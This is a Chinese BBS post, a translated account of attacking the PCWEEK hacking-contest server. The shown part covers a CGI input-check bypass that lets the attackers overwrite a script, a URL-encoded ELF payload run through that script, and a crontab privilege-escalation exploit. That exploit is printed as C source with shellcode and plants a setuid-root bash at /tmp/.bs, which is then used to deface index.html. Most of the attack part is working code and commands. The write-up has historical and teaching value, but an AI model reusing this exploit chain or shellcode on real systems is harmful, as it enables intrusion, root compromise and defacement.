Linux 版 (精华区)

发信人: tcpip (高级草包), 信区: Linux
标  题: 公报11-PCWEEK 安全测试始末-2
发信站: 紫 丁 香 (Wed May  3 09:32:45 2000) WWW-POST

下一步我们将提交一个大约1024字节的广告编号(AD number)。 

现在,脚本没有如设想的运行,因为他只允许我们上传存在的广告编号的图片。(做那个
10^1024的数字花了我们不少的时间。) 

又是一个死胡同? 

没有,那个不完善的输入检测函数让我们有机会进一步的改进这个数字。简单的浏览一下
edit.cgi这个脚本,想一想,如果你输入一个名字然后是回车,最后是那1024个数字,会
发生什么?哈哈,有了。 

那个long.adnum文件让我们有机会建立一个新的广告。 

当我们可以骗过了广告编号检查后,我们可以利用脚本办到以下的事情: 

建立/改写任何nobody有权限的文件,并且可以使该文件是我们希望的内容(除了为GIF留
的有NUL的文件头)。 

好,让我们试试。 

确认脚本overwrite.as.nobody允许我们得到以上的权限。 

直到目前为止一切良好,我们调整脚本以便改写index.html……但是没成功。 

可能是我们没有权限改该文件(可能因为文件的所有者是root,或者文件没设置写权限)
。怎么办?我们另寻出路吧。 

我们试着改写一个CGI,看看我们能否让它为我们工作。这样我们就可以寻找“绝密”文
件了,那就胜利在望了。 

我们修改了overwrite脚本,很好,他允许我们改写CGI! 

我们决定不修改那些重要的(相对严谨)的CGI,我们选择了advisory.cgi(管它是干什
么的呢?)。 

这样我们就可以上传一个能允许我们执行命令的shell脚本了,太好了…… 

但是,当你以CGI的形式运行shell脚本的时候,你得在脚本的第一行对此加以说明,就象
下面这样: 

#!/bin/sh 
echo "Content-type: text/html" 
find / "*secret*" -print  

但是,别忘了,我们的第6、7、8、9字节必须是0或者一个很小的值,以适应有关图形大
小的规定…… 

#!/bi\00\00\00\00n/sh  

这样是不行的,内核只读了前5字节,然后就试图去执行“#!/bi”……就我所知,还没有
我们可以运行的3个字节(外加#!两个字节)的shell。又是死胡同…… 

一个ELF(linux的缺省的可执行文件的格式)文件给了我们答案,结果我们成功的将那几
个字节置成了0x00,太妙了。 

现在我们需要将一个ELF可执行文件放到远端的服务器上。我们必须使它符合URL的标准,
因为我们只可以用GET的方法,不能用POST,这样我们至少要符合最长URI的限制。对于
Apache服务器最长的URI为8190字节,别忘了我们还要用一个很大的1024个字符的数字,
所以给我们的符合URL标准的ELF程序留下的空间只有7000字节了。 

它只能是个小程序了。 

lemming:~/pcweek/hack/POST# cat fin.c 
#include <stdio.h> 
main() 

printf("Content-type: text/html\n\n\r"); 
fflush(stdout); 
execlp("/usr/bin/find","find","/",0); 
}  

编译后如下: 

lemming:~/pcweek/hack/POST# ls -l fin 
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin* 
lemming:~/pcweek/hack/POST# strip fin 
lemming:~/pcweek/hack/POST# ls -l fin 
-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin* 
lemming:~/pcweek/hack/POST#  

然后让它符合URL的标准: 

lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url 
lemming:~/pcweek/hack/POST# ls -l fin.url 
-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url  

要在我们的脚本中使用的话,它是过大了。 

我们只有靠我们的直觉来手工编辑这个二进制文件了,我们决定将这个可执行文件中“
GCC”字符串后的所有内容都删除。这么做几乎没有任何理论的根据,如果要根据的话就
得研究ELF规范了,但是这么做似乎还可以: 

lemming:~/pcweek/hack/POST# joe fin 
lemming:~/pcweek/hack/POST# ls -l fin 
-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin* 
lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url 
lemming:~/pcweek/hack/POST# ls -l fin.url 
-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url 
lemming:~/pcweek/hack/POST#  

现在,我们合并我们的工作成果,然后运行…… 

我们查看在我们目录中的名为get、sec、find的文件,希望获得更多的信息。 

在这里你会找到to_url 脚本,和一些简单的C文件,这些东西和URL一起解析,就大功告
成了。 

现在我们上载这个CGI,然后用我们喜欢的浏览器访问它: 
wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi  

这样我们对服务器上的/ 进行了全面的查找。 

但是他们的“绝密”文件没在那,或者以nobody的身份无法访问。 

我们尝试了一些命令组合,如locate、ls和一些其他命令,但无济于事。 

如果这个文件存在,那么它究竟在哪。 

现在问题严重了,必须要root的权限了。正象我的一位朋友说的那样,有现成的为什么不
用呢?所以,根据我们知道的有关那台服务器的情况(Linux,i386,因为我机器就是
i386,并且我的那个ELF文件已经在它上面运行了)。我们查找了软件更新的数据,发现
了一个对所有版本的RedHat都可以利用的crontab漏洞(译者注:细节将在后面讨论)。 


你可以在最近的 bugtraq/securityfocus 中找到。太好了,我们根据我们的需要对其加
以修改,显然我们根本不需要一个交互的根用户shell,我们只要做一个nobody可访问的
suidroot的shell就行了: 

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pwd.h>
char shellcode[] =
"\xeb\x40\x5e\x89\x76\x0c\x31\xc0\x89\x46\x0b\x89\xf3\xeb"
"\x27w00w00:Ifwewerehackerswedownyourdumbass\x8d\x4e"
"\x0c\x31\xd2\x89\x56\x16\xb0\x0b\xcd\x80\xe8\xbb\xff\xff"
"\xff/tmp/w00w00";
int main(int argc,char *argv[])
{
FILE *cfile,*tmpfile;
struct stat sbuf;
int x;
chdir("/tmp");
cfile = fopen("/tmp/cronny","a+");
tmpfile = fopen("/tmp/w00w00","a+"); // ,S_IXUSR|S_IXGRP|S_IXOTH);
fprintf(cfile,"MAILTO=");
for(x=0;x<96;x++)
fprintf(cfile,"w00w00 ");
fprintf(cfile,"%s",shellcode);
fprintf(cfile,"\n* * * * * date\n");
fflush(cfile);
fprintf(tmpfile,"#!/bin/sh\ncp /bin/bash /tmp/.bs\nchmod 4755 /tmp/.bs\n");
fflush(tmpfile);
fclose(cfile),fclose(tmpfile);
chmod("/tmp/w00w00",S_IXUSR|S_IXGRP|S_IXOTH);
execl("/usr/bin/crontab","crontab","/tmp/cronny",(char *)0);


经我们修改后,使这个shell指向了/tmp/.bs。我们重新上载CGI,并且用我们的浏览器使
其运行,然后我们就准备进行测试了。 

我们做了一个CGI进行初次测试,它将执行ls /tmp。我们确实实现了suidroot。 

( ... )  

execlp("/bin/ls","ls","-ula","/tmp",0); 

( ... ) 

我们接着将一个用来替换index.html的文件上载到了/tmp/xx。 

( ... ) 

execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0); 

( ... ) 



--
"这一千多年没写诗了?"
"写了, 不过只写了两句."
"千年得两句, 一定是万古丽句了. 念来听听."
"好吧, 我现丑了" 太白星清了清嗓子, 浑厚的男中音在天庭响起:
大海啊, 都是水;
骏马啊, 四条腿;

※ 来源:·紫 丁 香 bbs.hit.edu.cn·[FROM: freesrc.hit.edu] 
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:2.824毫秒